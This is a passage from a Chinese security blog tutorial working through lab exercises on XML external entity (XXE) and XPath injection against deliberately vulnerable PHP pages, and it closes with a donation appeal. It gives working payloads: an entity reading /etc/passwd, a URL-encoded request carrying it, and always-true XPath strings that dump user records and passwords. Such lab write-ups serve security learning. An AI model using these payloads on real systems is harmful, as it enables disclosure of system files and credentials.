<!ENTITY  实体名 "实体内容">
]>

定义好的 ENTITY 在文档中通过 &实体名;来使用,这里举一个例子:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE balabala [
<!ENTITY name "Tom" >
]>
<root>
<name>&name;</name>
</root>

定义一个 name 值为 Tom,就可以在 XML 任何地方引用。

前面还加上SYSTEM,但是如果此处没有任何过滤,我们完全可以引用系统敏感文件的,前提是页面有回显,否则你只引用了文件但不知道文件内容。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE balabala [
<!ENTITY name SYSTEM "file:///etc/passwd" >
]>
<name>&name;</name>

Example 1

关键代码

Hello
<?php
  $xml=simplexml_load_string($_GET['xml']);
  print_r((string)$xml);
?>
  • simplexml_load_string

函数把 XML 字符串载入对象中,如果失败,则返回 false。

simplexml_load_file(string,class,options,ns,is_prefix)
参数 说明
string 必需,规定要使用的 XML 字符串
class 可选,规定新对象的 class
options 可选,规定附加的 Libxml 参数
ns 可选,命名空间前缀或URI
is_prefix **TRUE如果ns是前缀,FALSE则为URI;默认为FALSE**。

知道 XXE 的原理后,尝试包含本地敏感文件:

<!DOCTYPE xxx[<!ENTITY name SYSTEM "file:///etc/passwd">]><name>&name;</name>

需要进行 URL 编码:

/xml/example1.php?xml=%3C%21DOCTYPE%20xxx%5B%3C%21ENTITY%20name%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%3E%5D%3E%3Cname%3E%26name%3B%3C%2fname%3E

最终效果如下:

Example 2

关键代码

$x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";

$xml=simplexml_load_string($x);
$xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
$res = ($xml->xpath($xpath));
while(list( ,$node) = each($res)) {
  echo $node;
}

XPath 是一门在 XML 文档中查找信息的语言。XPath 可用来在 XML 文档中对元素和属性进行遍历。

XPath 基本语法:

bookstore          # 选取 bookstore 元素的所有子节点。
/bookstore         # 选取根元素 bookstore。
bookstore/book     # 选取属于 bookstore 的子元素的所有 book 元素。
//book             # 选取所有 book子元素,而不管它们在文档中的位置。
bookstore//book    # 选择属于 bookstore 元素的后代的所有 book 元素
//@lang            # 选取名为 lang 的所有属性。

本关中涉及到的 XML 代码美化后如下:

<data>
    <users>
        <user>
            <name>hacker</name>
            <message>Hello hacker</message>
            <password>pentesterlab</password>
        </user>
        <user>
            <name>admin</name>
            <message>Hello admin</message>
            <password>s3cr3tP4ssw0rd</password>
        </user>
    </users>
</data>

和之前的 LDAP 注入差不多,闭合原来的语句,%00 截断注释掉后面语句,构造一个永真条件实现 XML 注入:

' or 1=1]%00

带入到 xpath 中的语句如下:

users/user/name[.='' or 1=1]%00']/parent::*/message

所以最终的 payload 如下:

/xml/example2.php?name=' or 1=1]%00

同时查询出 hacker 和 admin 用户的信息。

查询所有子节点的 payload 为:

/xml/example2.php?name=' or 1=1]/parent::*/child::node()%00

总结 XXE 这块通过写这篇文章发现是国光的薄弱点,国光我打算再单独写一篇文章来学习 XXE 漏洞,所以本文中 XML 这块讲的不清楚的话请见谅,挖个坑,待日后重写 XML 这一块知识。

参考资料

支持一下

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面用以感谢支持我的朋友,详情请看 打赏列表 | 国光